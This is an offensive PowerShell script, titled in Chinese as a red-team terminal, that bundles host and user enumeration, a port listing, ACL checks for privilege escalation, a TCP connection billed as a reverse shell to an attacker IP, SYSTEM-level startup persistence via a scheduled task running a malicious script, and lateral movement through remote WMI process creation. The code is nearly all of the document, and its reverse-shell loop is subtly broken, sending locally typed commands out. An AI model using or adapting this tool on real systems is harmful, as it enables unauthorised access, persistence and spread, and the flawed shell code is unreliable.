红队终端：高级系统枚举与权限提升工具详解

function Get-SystemInfo {
    $os = Get-CimInstance -ClassName Win32_OperatingSystem
    $cpu = Get-CimInstance -ClassName Win32_Processor
    $services = Get-Service
    $users = Get-WmiObject -Class Win32_UserAccount
    
    Write-Host "`n[+] 系统信息:"
    Write-Host "操作系统: $($os.Caption) | 版本: $($os.Version)"
    Write-Host "CPU: $($cpu.Name)"
    
    Write-Host "`n[+] 系统用户:"
    $users | ForEach-Object { Write-Host "用户: $($_.Name) | 域: $($_.Domain)" }
    
    Write-Host "`n[+] 运行中的服务:"
    $services | Select-Object Name, Status | Format-Table
}

function Scan-Network {
    Write-Host "`n[+] 网络扫描（开放端口）:"
    $netstat = netstat -an | Select-String "LISTENING"
    $netstat | ForEach-Object { Write-Host $_.Line }
}

function Priv-EscalationCheck {
    Write-Host "`n[+] 权限提升检查（不安全权限）:"
    $vulnerableDirs = @(
        "C:\Program Files",
        "C:\Windows\System32", 
        "C:\Users\Public"
    )
    
    foreach ($dir in $vulnerableDirs) {
        Write-Host "`n检查目录: $dir"
        Get-Acl $dir | Select-Object Path, Access
    }
}

function Start-ReverseShell {
    param (
        [string]$ip,
        [int]$port
    )
    
    Write-Host "`n[+] 启动反向Shell连接到 ${ip}:${port}"
    $reverseShell = New-Object System.Net.Sockets.TcpClient($ip, $port)
    $stream = $reverseShell.GetStream()
    
    $writer = New-Object System.IO.StreamWriter($stream)
    $reader = New-Object System.IO.StreamReader($stream)
    
    while ($true) {
        $command = Read-Host "Shell命令"
        if ($command -eq "exit") {
            $writer.WriteLine("exit")
            $writer.Flush()
            break
        }
        $writer.WriteLine($command)
        $writer.Flush()
        $response = $reader.ReadLine()
        Write-Host $response
    }
    
    $reader.Close()
    $writer.Close()
    $reverseShell.Close()
}

function Set-Persistence {
    Write-Host "`n[+] 设置持久化（计划任务）"
    $taskName = "RedTeamPersistence"
    $taskAction = "powershell.exe -ExecutionPolicy Bypass -File C:\Path\To\Your\MaliciousScript.ps1"
    $taskTrigger = New-ScheduledTaskTrigger -AtStartup
    $taskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument $taskAction
    
    Register-ScheduledTask -Action $taskAction -Trigger $taskTrigger -TaskName $taskName -User "NT AUTHORITY\SYSTEM"
    Write-Host "[+] 通过计划任务安装持久化机制: $taskName"
}

function Lateral-Movement {
    param (
        [string]$targetIp,
        [string]$command
    )
    
    Write-Host "`n[+] 向 ${targetIp} 发起横向移动"
    Invoke-WmiMethod -ComputerName $targetIp -Class Win32_Process -Name Create -ArgumentList $command
    Write-Host "[+] 在 ${targetIp} 上执行的命令: ${command}"
}

function Start-RedTeamTerminal {
    Clear-Host
    Write-Host "[+] 欢迎使用红队终端。准备接收命令。"
    Write-Host "[+] 输入 'exit' 退出或 'help' 查看可用命令。"
    
    while ($true) {
        $input = Read-Host "输入命令"
        switch ($input.ToLower()) {
            'sysinfo' { Get-SystemInfo }
            'network' { Scan-Network }
            'priv' { Priv-EscalationCheck }
            'rev' {
                $ip = Read-Host "输入攻击者IP"
                $port = Read-Host "输入端口"
                Start-ReverseShell -ip $ip -port $port
            }
            'persistence' { Set-Persistence }
            'lateral' {
                $targetIp = Read-Host "输入目标IP"
                $command = Read-Host "输入要执行的命令"
                Lateral-Movement -targetIp $targetIp -command $command
            }
            'exit' { Write-Host "[+] 退出红队终端。"; break }
            'help' {
                Write-Host "`n[+] 可用命令:"
                Write-Host "'sysinfo' - 显示系统信息"
                Write-Host "'network' - 扫描开放端口"
                Write-Host "'priv' - 检查权限提升机会"
                Write-Host "'rev' - 启动反向Shell后门"
                Write-Host "'persistence' - 通过计划任务设置持久化"
                Write-Host "'lateral' - 通过横向移动远程执行命令"
                Write-Host "'exit' - 退出终端"
            }
            default { Write-Host "[+] 无效命令。输入 'help' 查看可用命令。" }
        }
    }
}

# 启动红队终端
Start-RedTeamTerminal

# 关闭前暂停
Read-Host "按Enter退出..."